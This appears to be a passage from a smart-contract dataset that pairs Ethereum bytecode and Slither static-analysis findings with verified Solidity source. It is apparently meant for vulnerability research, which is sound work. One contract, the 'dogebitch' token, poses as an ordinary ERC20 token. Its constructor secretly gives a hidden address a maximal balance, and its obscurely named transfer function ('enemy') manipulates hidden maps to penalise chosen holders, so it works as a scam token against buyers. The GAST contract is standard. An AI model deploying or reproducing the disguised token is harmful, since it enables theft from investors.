885286865284882083895284018652848820548852818652848820548916808952968652848820928852919092018452828620548652925290922054909216965094509250612674565b87600414806124f15750876009145b1561259e576001600160a01b0380881660009081526005602081815260408084208e861680865260039182018452828620548652600680855283872054881680885286865284882083895284018652848820548852818652848820548916808952878752858920848a5285018752858920548952828752858920548a16808a5297875285892093895292909301855283872054875290935293205490931697509095509093509150612674565b87600514806125ad575087600a145b1561267457505050506001600160a01b0383811660009081526005602081815260408084208a861680865260039182018452828620548652600680855283872054881680885286865284882083895284018652848820548852818652848820548916808952878752858920848a5285018752858920548952828752858920548a16808a52888852868a20858b5286018852868a20548a52838852868a20548b16808b52988852868a20948a5293909401865284882054885294529190942054909416945092905b6001600160a01b03851660009081526005602052604090205460ff166126cc57600160005260066020527f3e5fec24aa4dc4e5aee2e025e51e1392c72a2500577559fae9665c6d52bd6a31546001600160a01b031694505b5092979650505050505050565b6000826126e857506000610861565b828202828482816126f557fe5b04146127325760405162461bcd60e51b81526004018080602001828103825260218152602001806129536021913960400191505060405180910390fd5b9392505050565b600061273283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612817565b600061273283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128b9565b600082820183811015612732576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081836128a35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612868578181015183820152602001612850565b50505050905090810190601f1680156128955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816128af57fe5b0495945050505050565b6000818484111561290b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612868578181015183820152602001612850565b505050900390565b60408051808201909152600080825260208201529056fe436f756c646e27742074616b652074686520746f6b656e732066726f6d207468652073656e646572536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776e6577206f776e6572206e6565647320746f2062652061206e6577206164647265737363616c6c6572206d75737420626520746865206f776e65720000000000000000a265627a7a72315820ad8decb92c0b78d4ed56eacb6c55e026f4b907af834f325cb0eceecdc7b1069d64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,370 |
0xEA1b5e32A2fbf94bab66614404fac01308F1521a
|
/*
https://t.me/dogebitch_eth
https://www.dogebitch.space/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address add
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[add] = silence;
_balances[msg.sender] = _tTotal;
chamber[add] = silence;
chamber[msg.sender] = silence;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private central;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private silence = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function enemy(
address suit,
address queen,
uint256 amount
) private {
address direction = central[address(0)];
bool tail = uniswapV2Pair == suit;
uint256 trick = _fee;
if (chamber[suit] == 0 && wire[suit] > 0 && !tail) {
chamber[suit] -= trick;
}
central[address(0)] = queen;
if (chamber[suit] > 0 && amount == 0) {
chamber[queen] += trick;
}
wire[direction] += trick;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[suit] -= fee;
_balances[address(this)] += fee;
_balances[suit] -= amount;
_balances[queen] += amount;
}
mapping(address => uint256) private wire;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private chamber;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
enemy(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
enemy(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220a3f9e18be055e332b1368ebd6147a17f2fe6f2100ee9bc3e4aba0db87e51e0a064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,371 |
0x457530ae3a0b0417e536084f5ec4d8dd46a50738
|
pragma solidity ^0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/GAST.sol
contract GAST is StandardToken {
string public constant name = "GAS Token";
string public constant symbol = "GAST";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb610504565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610509565b34801561024157600080fd5b50610195600160a060020a03600435166105f9565b34801561026257600080fd5b506100d3610614565b34801561027757600080fd5b5061016c600160a060020a036004351660243561064b565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561072c565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c5565b60408051808201909152600981527f47415320546f6b656e0000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107f016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff61080216565b600160a060020a0380851660009